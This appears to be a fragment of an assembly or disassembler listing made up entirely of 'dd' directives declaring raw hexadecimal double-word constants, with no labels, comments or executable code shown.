		dd 0E8DF0530h, 793B965h, 27CE5ACAh, 0DA4517h, 0BBB14EC4h
		dd 0D60307C2h, 39F34403h, 4C04B78Fh, 3335D6C0h,	0F21800B5h
		dd 653AA6F1h, 0DA7C0646h, 0F25E3B3Bh, 0EAFE6030h, 1441EDh
		dd 97C42B1Bh, 0F007D5D7h, 64265506h, 3D586EF7h,	0F6804B45h
		dd 256F5E86h, 2FF268C7h, 0FAE4EA00h, 3843C6A4h,	0D50900AFh
		dd 0A1074DC3h, 1C588701h, 5B880010h, 0E519D83Fh, 0F16800D9h
		dd 41CE6313h, 5302FA7Dh, 97491446h, 0A044E394h,	1C3D5A9Fh
		dd 5E6144h, 87749164h, 0DB03B64Fh, 979A4DDAh, 246ED873h
		dd 388FA05Dh, 39120095h, 1CB51BC6h, 3C980FCCh, 7FE8CF00h
		dd 8EA0AC3Fh, 0F7543EBDh, 347E6D80h, 64BA6160h,	2D631F00h
		dd 4CFEBCDFh, 5F770E30h, 4AE08F90h, 0FD9A669Bh,	0FF7DAC14h
		dd 50400092h, 91AE021Fh, 197E0015h, 5145F47Bh, 6100816Ch
		dd 47C1AB38h, 0CEACBDCh, 0C74D0682h, 15209288h,	0B35700AEh
		dd 1DB539F1h, 0BC0EB63Bh, 20B43F32h, 0BF43CA95h, 0ADC61F17h
		dd 34470033h, 84D854C2h, 0D3DFEA00h, 0D1BFCE77h, 0F49C0098h
		dd 0E3F7E58Dh, 0DDE4F2ACh, 6A543700h, 7ECF710Ah, 47010CCDh
		dd 57B079D0h, 1F7F0F7Ah, 2758B678h, 9BEF001Ah, 1E44B09h
		dd 5E5D1E59h, 1F823F45h, 0FA8F9787h, 4FBC8080h,	0DF3067BEh
		dd 306C104Eh, 57830194h, 8826A968h, 8018BB69h, 99AC47EDh
		dd 0A28A3Fh, 9543BB6Fh,	29719DD3h, 6E5FB900h, 587AE293h
		dd 3A6600A3h, 3E8409C1h, 7500BBF1h, 0AC3B870Fh,	103D95h
		dd 59C06F4Ah, 205F3663h, 7474D67Ah, 81799401h, 0E0541ED9h
		dd 3B26F4h, 0BFB11C5Bh,	730FF490h, 5A0BAB12h, 0DFD01400h
		dd 7121ECh, 2D0895A0h, 0B799509Bh, 63CBFF00h, 0C4EC486Ah
		dd 0A52C0190h, 0E17D39A2h, 24CCD4F0h, 0FD08900h, 27851967h
		dd 443300C5h, 8B62D6C7h, 1473E1C8h, 5898CF00h, 0F3C5E61Ch
		dd 0D74E0783h, 0B0F54C27h, 0FC730660h, 3E0E0BFEh, 670EECC8h
		dd 34B35B6Bh, 0B632F009h, 0CA9D0094h, 0CE3D85BEh, 672F5A78h
		dd 87B18002h, 233F17Dh,	0B6AF0975h, 2441A656h, 51E0402Dh
		dd 1000B2F9h, 35C72679h, 367CD7Ch, 8B834D77h, 0F9A039E3h
		dd 0D602BB36h, 55CE913Eh, 0C001D5FBh, 4056136Ch, 4D9498D0h
		dd 0AE8240E9h, 0DC0021EFh, 0CC3A992Fh, 0A5CADFh, 7FDE084Ah
		dd 0EF092E7Dh, 288C6A04h, 188046E2h, 49B0CA6h, 9EBE3041h
		dd 5238803Ah, 480B7001h, 1E5B6C5h, 62B50FC5h, 3A9820h
		dd 93571254h, 3B28C785h, 9499A00h, 9838FC74h, 0D4BC2CA7h
		dd 5834005Ah, 0CBA862D0h, 0DE0F657Ah, 202D3D43h, 915AD263h
		dd 5F1006Fh, 0A2899521h, 0A5098E7Eh, 50A26BBh, 0C3EE99B8h
		dd 37E811FDh, 0A6481EBAh, 248601ECh, 1F6FC1C7h,	0B06EECE8h
		dd 704F03C8h, 0D6985B99h, 52897D88h, 3F97A8C0h,	0F15F9D0h
		dd 10F18714h, 0CFACE820h, 70037D82h, 0E312BAB8h, 207298C5h
		dd 0B98600AEh, 0CAF97814h, 2C001B9Fh, 0C5D0FE01h, 0F242FBBEh
		dd 5E07031Fh, 0CE02DFA6h, 564581Ch, 0DC62B3C0h,	0F8FDA72h
		dd 34120C70h, 0DBEA8320h, 0A213995Bh, 0E1003F52h, 37E169B4h
		dd 0A99207BCh, 203A2DD1h, 42299E82h, 0F3734800h, 51EE21B5h
		dd 0A6E09Ch, 0E4098D9Dh, 7AF9DDC5h, 0B9A1281Dh,	9F566640h
		dd 18D8245h, 8E29DC5Eh,	302EC5E0h, 0B80542F1h, 8549D92Fh
		dd 0C2703C80h, 11313CA5h, 2369F083h, 0E2A0445Bh, 6B00FC06h
		dd 83FAB127h, 295AC6h, 0E04931D2h, 483C6CD9h, 0B2862209h
		dd 3E0400B5h, 0B7A64Ah,	0C5428F10h, 7DF87335h, 0F60B68E8h
		dd 405DC7h, 872688C3h, 14B033Ah, 0EB57122h, 2C1DA4C0h
		dd 0B6B31C1Fh, 0AA14F468h, 509D1B05h, 5C2E544Ah, 0D300E82Eh
		dd 0B216F8EDh, 0CBFD00CDh, 0A3EE2C1Fh, 0CA005F27h, 0EB097646h
		dd 3C7E5Ch, 5B9DD90h, 0FBDC9324h, 0E869800h, 0A34F23D3h
		dd 0D2780048h, 84A6F072h, 0BD0092CCh, 6BC94273h, 0F2025E6Ah
		dd 73BF7A27h, 0C00100C7h, 913B5F2h, 200030E9h, 0A540ABD7h
		dd 31950AAh, 7893B6EEh,	0CBB00E22h, 1B774B25h, 0E7986CB2h
		dd 0B05C48h, 0E73CB0A0h, 0F1C79Eh, 29192E9Ch, 0FEF4FBA6h
		dd 39E4F903h, 0BEA474h,	3CD1BC7Eh, 47185C0Ah, 3AA75203h
		dd 0C8C3DB17h, 0B0AF9122h, 0E16C05BBh, 90329626h, 0F428B24Ch
		dd 0CA1A2300h, 91D2CE7Fh, 4A8D0040h, 0E4F81796h, 8E63F426h
		dd 90D03590h
		dd 3CB6305Bh, 0BA81B44Ah, 56D2AF3Eh, 292840FDh,	35072FF4h
		dd 1554CCCAh, 0C6CB6F43h, 0B66C0021h, 0F25D3791h, 18FA0C25h
		dd 7A851B39h, 49028900h, 5F0A52F5h, 0DC943B1Eh,	938A2B0h
		dd 370098DEh, 63580811h, 0E50BBDAh, 6E74EB6h, 7F16B380h
		dd 1D033303h, 89A15DDEh, 2B49D696h, 197C4908h, 1FDA880h
		dd 0C9C4C866h, 21B60654h, 282E5A65h, 0A296D303h, 0B8D2BB19h
		dd 3BF618F7h, 0C480F1F4h, 1093F0A3h, 0CF86F7Ah,	0DF62C660h
		dd 0EDB5E6h, 0CF33CDDBh, 0C7B4784Dh, 6B889506h,	3C3B65h
		dd 0FC8E2E7Bh, 0AADB7F60h, 9A365A00h, 8D398F15h, 0C1C600FAh
		dd 0D279E06Dh, 73000A7Dh, 0D0AA4BB3h, 1F077B1Ch, 8050D13Ch
		dd 5494FF7Fh, 4C037A8Dh, 0DD2D72ADh, 0D5A0A0F3h, 91CB03B5h
		dd 0B6E2092Ah, 92ADA198h, 0E15F7F1Fh, 3AC6DC40h, 3F7E79Ah
		dd 291F15D4h, 87F0E874h, 0A50E6791h, 80B7483Fh,	4BEEA12Ah
		dd 0CF60006Eh, 0F26F8CA6h, 42007782h, 5A23C9C4h, 0F3920464h
		dd 95B39C50h, 331A00BBh, 0C5F30E51h, 5F041EF7h,	3B11723Ch
		dd 6AC136C4h, 0C85005F4h, 17DB25h, 3684548Ah, 0AB32C83Ch
		dd 13B0197Ah, 46C72D00h, 9709BD59h, 0B78B876h, 0E590B121h
		dd 96D1F480h, 0FEA31C9h, 0DA168304h, 47C0EABEh,	9848050h
		dd 0EFD2CC44h, 5B102400h, 4C00A0B5h, 0C18931CEh, 8BFC97h
		dd 24DA7B55h, 16F7B652h, 0CFA0DD70h, 90BA172Eh,	95A7A009h
		dd 494820A1h, 10871Dh, 64087F1Ah, 0E60A2367h, 0DDAF2B03h
		dd 0B15884BFh, 3180A498h, 28176F81h, 600934A7h,	20EE6303h
		dd 0ACDA7AACh, 522E02C0h, 0D3902FFDh, 0FE1E5444h, 77007E2Bh
		dd 58179A7Fh, 3E600033h, 0C16F8BBFh, 9D0E2285h,	3825FEF7h
		dd 177AF344h, 0ED6254h,	6A12988Dh, 0FB1D2AFAh, 108FDEF6h
		dd 593E082h, 47863h, 97F83032h,	0E0F47912h, 0FC36541Eh
		dd 0BE693800h, 0B8DF6733h, 839F1DBCh, 0B51240F6h, 58BC6DAEh
		dd 7032F83Dh, 396CF400h, 0FF882836h, 1F76F2h, 81F86713h
		dd 50A32E0Eh, 84209C53h, 1360A9A1h, 913A9CF3h, 0A30676Eh
		dd 0A5689DE0h, 239A3B99h, 6E86747Dh, 0AD612147h, 0F5E988A0h
		dd 8C24C162h, 211CB228h, 4A130068h, 0C334AC4Eh,	0B001E5BAh
		dd 88F8BF40h, 65CCD0CDh, 0DC15055Dh, 1360EAh, 0AF21A198h
		dd 0F4FDD6ACh, 5365FE2Eh, 0A840EA08h, 0F1A9B12Bh, 51A2061Eh
		dd 181732F5h, 7BD88139h, 9A00F376h, 0A797878Dh,	301888E9h
		dd 6A90F1B5h, 0D128E898h, 0D620C07Dh, 26150CA5h, 9C617E67h
		dd 2D00E9E4h, 46A89423h, 0F86C5F54h, 64130E4h, 17951268h
		dd 0F9309A60h, 0CC3F4Ch, 295378A2h, 0EAF00B6Bh,	9E1C1060h
		dd 2A54EB51h, 18EC7716h, 50B3DDF5h, 24729481h, 78143430h
		dd 0DE57EBF7h, 7E9C0561h, 1168C688h, 0D4FF5A00h, 0BE6D4B96h
		dd 207C1DFEh, 21E03A86h, 0C6D48838h, 0D19E391Dh, 0F7419CC0h
		dd 0C00FF552h, 58928161h, 4B03E124h, 15B68772h,	0D7181F69h
		dd 64178E20h, 21C95160h, 0BE0BAECCh, 736C5Ch, 97FD1EA5h
		dd 2A9A00D8h, 33634E32h, 6F23A1Bh, 218B8A01h, 2DE7B204h
		dd 0A032FC40h, 0CC4803B5h, 7FEBDFCDh, 35834093h, 48B20B81h
		dd 0E70089D8h, 74055118h, 491563F9h, 0FF8004DAh, 559B22B2h
		dd 41DC448Ch, 56AF2500h, 99EBFB3Ah, 0F7322435h,	0E56A803Ch
		dd 0D3089FDFh, 0EF568F00h, 443CCB58h, 0A1F70195h, 0ECA9E75Ah
		dd 22B441B1h, 0E010C4Eh, 1D86B8D4h, 0F86ADF50h,	0D94A3A0Fh
		dd 5B0E0DCh, 0CF8F929Fh, 3C80A891h, 2B3D619Ah, 0C46CE800h
		dd 7EAE047Fh, 9598FFh, 85096D8Dh, 0F134F82Fh, 286E9403h
		dd 0A013A963h, 2B31F6h,	0FDFF921Eh, 95FAD87Eh, 30F11F3Ah
		dd 421221CEh, 0A7550191h, 0CC2DC1BFh, 0CCF2F12Bh, 52F0BB4Fh
		dd 6C11C32Ch, 5C148100h, 5E6096Ah, 902872D6h, 393441A6h
		dd 0E9FD3492h, 88790CD5h, 9100450Dh, 7755EE01h,	0C0DD782Fh
		dd 36E2CB18h, 0DA60F8A4h, 0E9287110h, 102CA8A7h, 0FDC10892h
		dd 8064F16Eh, 0D705BA53h, 840F3EB9h, 0B558043h,	4853AEh
		dd 0FAFBEFB8h, 5BCCC889h, 0CB2BC019h, 0A2D491E0h, 38B0066Eh
		dd 9ACD20Bh, 20D05F30h,	7DA7B671h, 0B04C3722h, 0E19CC7A9h
		dd 80B74302h, 0D3FF9611h, 0EA15641Ah, 6D591DDFh, 324D0C2Ah
		dd 3B001320h, 0CD1DD689h, 3A85DC4h, 97EE27D8h, 68009EA6h
		dd 0B58D731h, 2ABD713Eh, 0C037BEh, 865F3CA0h, 7460DB9Ah
		dd 0F1C08879h, 75D749CBh, 99D0F373h, 87613BFFh,	0C463F886h
		dd 5A03E106h, 8CDA3857h, 0D270FF09h, 604023BCh,	778661FBh
		dd 730F9185h, 608831E4h, 51F4723Eh, 9669C0D4h, 2E756DA5h
		dd 0A9000E7Ah, 5E02266Fh, 0CD29C9Ah, 0BC084C32h, 3CE87590h
		dd 0A1DEEE30h, 1EA740Bh, 0DC1A773Eh, 0FB115507h, 80F51BA1h
		dd 0ED0C1C20h, 368DF3Ch, 87FE4F40h, 7900D2AEh, 0B834766Bh
		dd 5DE41A3h, 8B7CB327h,	0B6F820A6h, 2200CD3Dh, 0F83CA73h
		dd 0E3AD41h, 58424DAAh,	552374E0h, 3015E130h, 0AC8ECCCBh
		dd 0A2FE02FCh, 3A70B18Fh, 3824F519h, 0A7B9006Eh, 7D512D90h
		dd 80FADED9h, 0ABB86100h, 96B25E48h, 3A142436h,	0A8060880h
		dd 0D692A06Eh, 86F116FDh, 0BE844h, 0DA9E9157h, 3E23C390h
		dd 0E4056607h, 3230B986h, 0EC8FA44Ah, 30D6605Fh, 0F554234Bh
		dd 64C9D4h, 0C7A63C90h,	120B84F0h, 46D9DE06h, 0E12FBE44h
		dd 33761200h, 0EE4150C7h, 0E21700C4h, 74C6F12Dh, 7F1D3B0Fh
		dd 393040FFh, 0C37BAB1Bh, 0B85E7AA1h, 756F1900h, 4DD7F20h
		dd 0CCDE483Ch, 35A9E484h, 0FD38E801h, 7852F446h, 10920C4h
		dd 0E67B1192h, 0F8BA9806h, 61CEA0h, 0D295D9D6h,	8DA21401h
		dd 0C601B4FAh, 0D5AEBCE9h, 93EC9B82h, 1A6807F2h, 675E763Ah
		dd 0AD2F4334h, 0EE00207Bh, 3A2B493h, 8EBC02h, 41E75715h
		dd 19F875E0h, 84945B1Eh, 811D0A80h, 0A433FBh, 0DEAB8DC5h
		dd 888B5A42h, 0B3077B79h, 54FB82D6h, 0B486F247h, 0EF060h
		dd 2F730B35h, 33D7A242h, 510609CCh, 0EC000EEh, 13111448h
		dd 4400C7ABh, 0C51F5556h, 3C01EF52h, 7E806E73h,	0BB45B19Dh
		dd 0C01FA4FDh, 5E005B50h, 0F4771089h, 82120026h, 44B2ADEBh
		dd 0A30E3818h, 80D0545Dh, 10D1243Ah, 700D0025h,	5CF2087Ah
		dd 631D01FEh, 0F7007E68h, 0A4723390h, 6C732Eh, 30157A26h
		dd 952142BCh, 232CBB00h, 3D66AE9Ah, 0B2391D8Fh,	789E40D7h
		dd 0E85F86B5h, 62D13301h, 0FF29F1E9h, 0A7EFF8h,	0DEE3F7B2h
		dd 2F25D382h, 0C1509F79h, 660055C8h, 65BA2622h,	480F1Fh
		dd 19E2AF33h, 396DCED1h, 0D4711230h, 0C085F989h, 0B27C7440h
		dd 373C4CAEh, 5A0CF83Eh, 8120E4F1h, 8F6B5CA8h, 5214DF00h
		dd 98DDCE28h, 1CAB8600h, 58D37B4Bh, 0E97F6A2h, 0F7D5B77Eh
		dd 9BFB2EE0h, 1B0044B1h, 6796D602h, 7BA36F2h, 0BE016DC7h
		dd 4634304Ch, 5CB8B6C8h, 0D4B43C00h, 793DFD17h,	100B0022h
		dd 0D39077BCh, 6001CE0Ch, 0D4D18EF5h, 2DDCF02Bh, 8AA40099h
		dd 741E949h, 1800C117h,	657B38F2h, 2DE78EACh, 0CC4044B0h
		dd 0CF000AA5h, 8192EF32h, 115B27Fh, 0A1E2E1DCh,	0C4973F1Fh
		dd 800D7B0h, 0AD6F23DDh, 7FBC0Bh, 0E01C0626h, 0C810FAF2h
		dd 4502CE00h, 934CAC01h, 0ED860B3Ah, 8804871h, 36F8C8A9h
		dd 1C8AB53Ah, 803D176Eh, 2429DC98h, 26C31Ch, 2CBA3A11h
		dd 4525E3E2h, 9780D754h, 0FEDFF71Ch, 744A7200h,	0D5C2E1h
		dd 0CF07EB6Ch, 0C0338E0Ch
		dd 2C6D4613h, 86322600h, 0C0221469h, 4403AE41h,	7138270Dh
		dd 0E305FB73h, 0DBEC39D1h, 79D7A000h, 2CE9CAh, 3E03F4CDh
		dd 76A0AA4h, 8ADB5D02h,	88AAECE7h, 271DA0D5h, 0ABE87FC0h
		dd 63D715h, 0F2BE0455h,	0F4BD3E56h, 5DF8DBF9h, 8D00D86Ah
		dd 5263249Dh, 258FB9Ch,	0CE261993h, 0F080418Bh,	9A0CD507h
		dd 7C9FF416h, 0FF901B00h, 0F14C80h, 65B32F6Ah, 0C63B78D5h
		dd 38102C07h, 0E6D015A4h, 38A7F2Dh, 8F39B8DFh, 0BEA3C4AFh
		dd 0EB48210Eh, 3BB0C12Dh, 1C532B14h, 8B9DE1D8h,	441C30A2h
		dd 30FE4A13h, 9AA14B00h, 0BE161A92h, 3E0C710Bh,	0A8052BAh
		dd 3F859138h, 277D868Eh, 7BA1A88h, 55EF70EDh, 8F0F97B1h
		dd 241CCD40h, 0CA00B0F6h, 89E36972h, 5A0C6h, 0E4A445ACh
		dd 0A9AAC50Eh, 159AE0E9h, 14DADE00h, 3C2F7508h,	88B9C05Ah
		dd 53B9FA17h, 0F0B6AC00h, 9967FB4Bh, 0D7401F7Eh, 8E4E4BDCh
		dd 3BAC4980h, 0C23ADD68h, 8220D320h, 1968EDA6h,	803BE527h
		dd 0F2AE53C8h, 0E955289h, 0F09286A3h, 0D80A009Fh, 0EABC79D9h
		dd 0C133F90Fh, 8C182E72h, 0F1211Fh, 0C66F780Dh,	0DD373A49h
		dd 8F838700h, 0CAAA94E8h, 1BAC7F13h, 309D1F8Ch,	5528980Ch
		dd 124036h, 0AC2EE1AEh,	5889CA4Ah, 70098300h, 2899FDE9h
		dd 0CAE7149h, 0E24C1592h, 2284D629h, 0A9EAB5C5h, 406E2188h
		dd 0A244622Fh, 0F061208Dh, 719A142h, 8CE51E3h, 295364F9h
		dd 0E537407Dh, 0C7CEC0h, 1AABE9C3h, 0D790C16Eh,	0BCEECA2Eh
		dd 0C5456200h, 3D93B3A7h, 6A809411h, 863F3847h,	0ABE2A0DFh
		dd 0C9B5A200h, 20B345C3h, 0F57DB9h, 0B8A5155Ah,	7BF7F14h
		dd 653A200h, 0FE54922Bh, 35CE5847h, 9C376E00h, 51686F67h
		dd 95D00B00h, 91DBEB87h, 168B007Fh, 85AD72C6h, 400354Eh
		dd 0AFD03698h, 4CC0E606h, 630067C3h, 5B3E4733h,	6DEE1197h
		dd 7DF6A400h, 0AD928D62h, 32961F95h, 0E561809Bh, 0B5312F1Bh
		dd 0F5AB0B1Fh, 849339Dh, 0AD29005Eh, 0BA7C7Dh, 37D8CB3Ah
		dd 2AA2E06Ah, 8FE9F505h, 0F00014D6h, 0F9039913h, 52C24CD9h
		dd 644CF300h, 1D0EA072h, 0EF516C01h, 0A56B112h,	4EC90C4h
		dd 5E01734Dh, 0B6308042h, 6203EF79h, 0AFFCA66h,	0CD5DB034h
		dd 87E257h, 12419EE5h, 0B768FC04h, 0A68EFF00h, 7DDEA982h
		dd 6BAB800Dh, 95D2E700h, 3E634E30h, 0E17801h, 89B62202h
		dd 2A667F53h, 3BBC1307h, 0B420FE37h, 0C910B3h, 0A741A504h
		dd 0CAD13664h, 0E3068700h, 911A6922h, 7E7D00B9h, 3ECF241h
		dd 0D6006681h, 7F6B3760h, 6E9213h, 7EF090FCh, 579E34BBh
		dd 6A6DD500h, 1DDD053Ch, 7227AD9h, 3775A5AEh, 6130A023h
		dd 7E016DB4h, 6F53209h,	1730FA93h, 3EB30028h, 0DB6FB2E4h
		dd 24CC1D1h, 2E290097h,	8BDA6D99h, 3A700F8h, 0BF4958CEh
		dd 3300B037h, 0AAB84D7Dh, 26960EE3h, 9B385B7h, 0C0004142h
		dd 9054557Bh, 0B6BB9E00h, 19163D62h, 83102CC2h,	0B0F90070h
		dd 4F4503D9h, 0E80069EEh, 908A3DC3h, 52AB263h, 43EAFA7Eh
		dd 68B3805Bh, 0B00698Bh, 0BB9FFF3Dh, 7518632Fh,	813803A1h
		dd 0B0519A34h, 0DCCB0FD8h, 58E08E70h, 8300AB98h, 11FCA24Bh
		dd 5A989251h, 85E89Ch, 0DA6DC7Dh, 73425DB8h, 8BC0490h
		dd 81E93768h, 82A17878h, 0C74C70C8h, 2AE07FDFh,	8100C9FFh
		dd 0FC66CF54h, 0BE63D6h, 6D1845AEh, 1E6E7977h, 8C0E81E2h
		dd 0A0560717h, 6AAE88D1h, 0EEFB0C71h, 598130Fh,	96A32C00h
		dd 0C4FFB87Dh, 64A2031Dh, 2F8BE527h, 75B26097h,	4648F81Ch
		dd 0E042004Ch, 0E1195CF0h, 0E3B0079h, 324DDC7Fh, 1FEA68E5h
		dd 0ABF8B409h, 6BB801FBh, 7DEA39C6h, 51179EE0h,	27AE4E00h
		dd 9501F2A7h, 0EEE0E08Ah, 77E200FBh, 3A0C2D19h,	0D001633h
		dd 0D9C48608h, 1DCF68Dh, 6713B797h, 419EEB31h, 0D0731788h
		dd 0C0C06FB9h, 0FDB251D7h, 0FCB0BAh, 6D984154h,	0CAD4F6B6h
		dd 23B14Ch, 0F47990ECh,	1EA283h, 7DF2682h, 0F2A69EAh, 333F2F0Eh
		dd 0D293E091h, 5ACBF0h,	0B9A110AEh, 54BE71F8h, 78B07D03h
		dd 0EB9623FEh, 63C19C66h, 2370DEADh, 243403A5h,	0B2A71D57h
		dd 0AB075DB8h, 0AF0F7BF6h, 0B2D7E7A4h, 104BBB0h, 3F0E7D7Ch
		dd 204A4FE6h, 0C800F99Fh, 8785E52Eh, 960FFBCAh,	2201DFDh
		dd 0A6B6B18Ch, 6191CDC0h, 0C01AC400h, 0EA54C790h, 345A0E6Eh
		dd 764080A7h, 9A2F573Fh, 0D0F0C79h, 0A0A13896h,	4EDF74DAh
		dd 0A0AB0065h, 0D0C791BFh, 56000219h, 3A84A4FEh, 1C6B58h
		dd 5296175Ah, 42DD9587h, 0CE733C00h, 0BDCADFF0h, 9134504Ch
		dd 0D5740067h, 483A71BBh, 0A40009FEh, 570F0DDCh, 4AE9D6h
		dd 3C52A010h, 7BD20132h, 5B672000h, 0B38B3334h,	0FF5E68Ah
		dd 0A8D4566Bh, 35C03FAEh, 0A017EEBCh, 0CB00E6BCh, 0A19B9E6Dh
		dd 18900BFh, 57629CD9h,	30FA1D73h, 71247A01h, 73EF39Bh
		dd 0DF9C8080h, 5EC564D6h, 4607CE74h, 0F10133BEh, 0AA5CB900h
		dd 0F25FC68h, 0E86A503Fh, 9E36FC40h, 0F900E4AFh, 0FB955596h
		dd 79C1F00Eh, 2D7592h, 0E742FF7Dh, 97C0FC8Eh, 9F1B1200h
		dd 8924E260h, 7BD98AAh,	15BA79A0h, 0F02CC73Dh, 0B66F08B9h
		dd 38067300h, 1EE77EC5h, 0DFA30005h, 0FBD4E51Ah, 8F00E3A1h
		dd 2D1854F9h, 5C73F651h, 0D2000512h, 9C40C46Bh,	0A100D7CCh
		dd 2269D6DCh, 38212EAh,	0A3992603h, 4BE93590h, 5791FF7Dh
		dd 46E0E75Bh, 71C264Ah,	1500B692h, 0EA7BBFF8h, 7AEE0050h
		dd 43F0AF38h, 3B280D87h, 55019B0Bh, 26AD0ACBh, 0BBE04248h
		dd 0F74100DDh, 4AE51190h, 0B50FBE12h, 0C044D75Fh, 77B2539h
		dd 0D9FBF77Ah, 2EFC1DE6h, 504860D4h, 0CBDAA370h, 16106C00h
		dd 4B9F5E1Ch, 4E820071h, 590850F3h, 0F803CE1Dh,	0FCFBAED5h
		dd 0C580EFB2h, 0F743FD7h, 0DC496CE4h, 6D81780h,	0F50086F2h
		dd 61939883h, 5150914h,	63D1C4EEh, 0B7438068h, 0D400D625h
		dd 0D72E9F97h, 7961E822h, 2FD307C7h, 90986992h,	0BF90966Ch
		dd 0EB079A74h, 28A60DCBh, 0D2FE4A10h, 0AC3300B7h, 343ECCB3h
		dd 0A200133Ch, 0C780D52Ch, 1C038Bh, 9A8CB5CEh, 11E901FBh
		dd 220B8100h, 8B1274A3h, 1CD45C62h, 9017A400h, 0A7BB7F47h
		dd 6703BD00h, 669244CEh, 153D00D4h, 2F4521BCh, 6500F469h
		dd 7DD504CDh, 4EC59FAh,	30B5C9E2h, 8CCC80D6h, 0B0017E45h
		dd 0BA6E7AB7h, 0B4CC0ADAh, 3C6300E2h, 394088ADh, 0F020666h
		dd 0FB4B910Eh, 467CE0EBh, 0C1B70749h, 60EA78BFh, 9818A720h
		dd 66611900h, 736BA40Fh, 0CAF600F0h, 4099B9D9h,	0E003308h
		dd 0DB5EE0F5h, 1E0A6419h, 8091468Dh, 0FF1F9C3Dh, 0C00E156h
		dd 0E65A726Bh, 0FFE3A94h, 0A9FD20F8h, 9023C740h, 0C200A859h
		dd 0E15539FFh, 6791BAh,	0D5270EE7h, 0CB344A0Dh,	620036F2h
		dd 0C33C841h, 18577CE0h, 0D0475DBAh, 170034F9h,	0D3B5C14Ah
		dd 0DA43F6h, 8F3290FFh,	0E97EAE55h, 510068FCh, 0B448C540h
		dd 0B8956928h, 7BC60036h, 0FBD8493Bh, 5F24F813h, 2806A766h
		dd 0A414F4h, 7B5817DBh,	90B9EF08h, 81E26500h, 0CDFC4233h
		dd 208D00ECh, 91BEC5C3h, 37582821h, 787000C5h, 2B777E3h
		dd 53860398h, 12D02358h, 1DAEB4E0h, 11D420F9h, 50D96A3Ah
		dd 0BE0250E0h, 0F185948Ch, 0D7B04054h, 0EC7700E7h, 0D5B10D43h
		dd 37006475h, 338B8F89h, 1411078h, 38B9E285h, 0FCBC5F4Eh
		dd 63003FB6h, 19D17C28h, 1FDB6C41h, 0C0DC714Fh,	0CBFEE078h
		dd 7400A7A0h
		dd 97A4D3EFh, 23637FAh,	650FDE66h, 0C2E054E4h, 5F00DA3Bh
		dd 5E30AB04h, 12DEE66Dh, 0A70DFDh, 7BB35FCh, 0C6EC1760h
		dd 0F7E5E314h, 947E00CCh, 0B980564Ah, 70DF3810h, 0BA9BED83h
		dd 7E908790h, 0E850F069h, 811D8F78h, 0A540FFACh, 8B56D330h
		dd 410F0061h, 0F942644Bh, 7C037986h, 0F284B05Eh, 7E0A817Ah
		dd 0FF8EF0h, 0BE94ECF1h, 0E9867C39h, 42C5D300h,	512081D1h
		dd 56D40037h, 0B313DAF0h, 0C2002BE2h, 319641B2h, 6A5C33h
		dd 8FD552EEh, 4AA03ACh,	44841000h, 1F25F6A2h, 8ABB00F9h
		dd 0A1C69E81h, 55009A38h, 0AABDDC28h, 0E696E791h, 0C914000Bh
		dd 29B2F30h, 3577726Eh,	6F48C300h, 65A311E0h, 4E2200FFh
		dd 648D3B81h, 7A00FD03h, 1C9D7FCEh, 0EACACC67h,	0AB541C2Ah
		dd 8326C007h, 7449B081h, 9B80F400h, 79BB8534h, 5B47009Fh
		dd 9415BEEEh, 9C00DBBFh, 3EFE282Eh, 1E3587h, 6C3D5249h
		dd 0D8741798h, 5A8FF900h, 586E4AF1h, 9543003Eh,	62EE5CC8h
		dd 2001565h, 0BF8FFF39h, 7175A5h, 3280EC2Fh, 49C0CEC3h
		dd 9E4BF21Fh, 0BCBF628Fh, 376DC900h, 1D91AD18h,	76E8ACDh
		dd 0A05F6ACCh, 41E398C1h, 0E29FE10Fh, 558581E4h, 0A8C079D7h
		dd 0FC860C62h, 30D8B22Fh, 0D103E072h, 0C917CA43h, 6799E883h
		dd 1BBC006Ah, 321AA157h, 35003B61h, 65C5B48Eh, 7A7BAAEh
		dd 24C43DBCh, 4E0FBBECh, 771C5078h, 0CA00C97Dh,	14D0FDFCh
		dd 798B7C01h, 0A8DC0070h, 48F1357Fh, 307A98B3h,	4A42CC00h
		dd 0DB8A7E4Fh, 0E8F2E6h, 3982BE0Dh, 27D31C1Fh, 0C245A700h
		dd 8B5CA6A2h, 0DEDB0E79h, 80FF08F6h, 65B4E69Eh,	80C3AF6Ch
		dd 0F8CFE06Bh, 21DA53h,	306A4292h, 7F2B95BCh, 0DD74BA00h
		dd 9778F2CCh, 0E6040075h, 0C4D1EE8Bh, 2C01BEB6h, 5AEC4559h
		dd 0F3D8D860h, 218EC97h, 9C544F28h, 60B3C8h, 0AC0092D6h
		dd 0C9904796h, 0D5B798h, 0B99EC162h, 6EF03E95h,	5C701E00h
		dd 59210533h, 0EE1600A2h, 0F7F197F2h, 7E01E82Eh, 0B0B3C4D6h
		dd 5083D870h, 3DEBC157h, 335815A8h, 25F0BE00h, 9D41F695h
		dd 0CB860053h, 0CEACC6C9h, 80003462h, 30BCE4B3h, 4789B6h
		dd 44D095B1h, 0E046663Eh, 88DA30Bh, 91CF0022h, 7AE9BEBBh
		dd 662005Ah, 148ABAC6h,	0D101F8E2h, 1E9CB1C2h, 93C429F6h
		dd 99E49Dh, 0C782CA50h,	925EECBDh, 8FE16100h, 8D314821h
		dd 0C47C69h, 0A6E600Dh,	0FE955642h, 0DB0A75Ah, 4B740065h
		dd 0E1A87F28h, 2E002936h, 0FACBEDC1h, 7FC80C3h,	0D9ECC949h
		dd 0B0AEA73Bh, 0BE099007h, 92780600h, 97CC52A1h, 0AF4500DAh
		dd 58CFE7DEh, 0DBECBC70h, 0D4919000h, 83D7E3E9h, 51AC05BEh
		dd 8D52D96h, 970074A4h,	5F146415h, 8E7B0311h, 5693F445h
		dd 42517090h, 0E238DF09h, 2E000005h, 971B78h, 358F3AA8h
		dd 862380DAh, 7B268C03h, 809846E0h, 0ADB40Eh, 0C4BF1E38h
		dd 6BCA72B0h, 7101E300h, 6E90BDA3h, 0EE8A0041h,	2136D85Ch
		dd 8200526Ah, 0D5C2F3E6h, 1DB025BFh, 4A3E2061h,	0AE9D86h
		dd 0A285DAD3h, 21D21B3h, 91401D89h, 945AB7E5h, 47D1CD0h
		dd 4C1CC0BBh, 3509EE6Bh, 36089103h, 9B5CAB3Ch, 0A807B0CFh
		dd 0CBF7008Eh, 0BD274FC2h, 63004B64h, 86244108h, 0EA0E2066h
		dd 8CAE02EDh, 0FBDE6533h, 0E27898A0h, 4D009A3Ah, 3FF6AF8Ah
		dd 0BFCCEEh, 386F4A18h,	9989B308h, 0A1F88700h, 40A02885h
		dd 9670092h, 21C54760h,	4800B406h, 55499C80h, 37CACB8h
		dd 106B1BA0h, 24B0AD79h, 4F00EDC9h, 4B2BE432h, 0B86780BDh
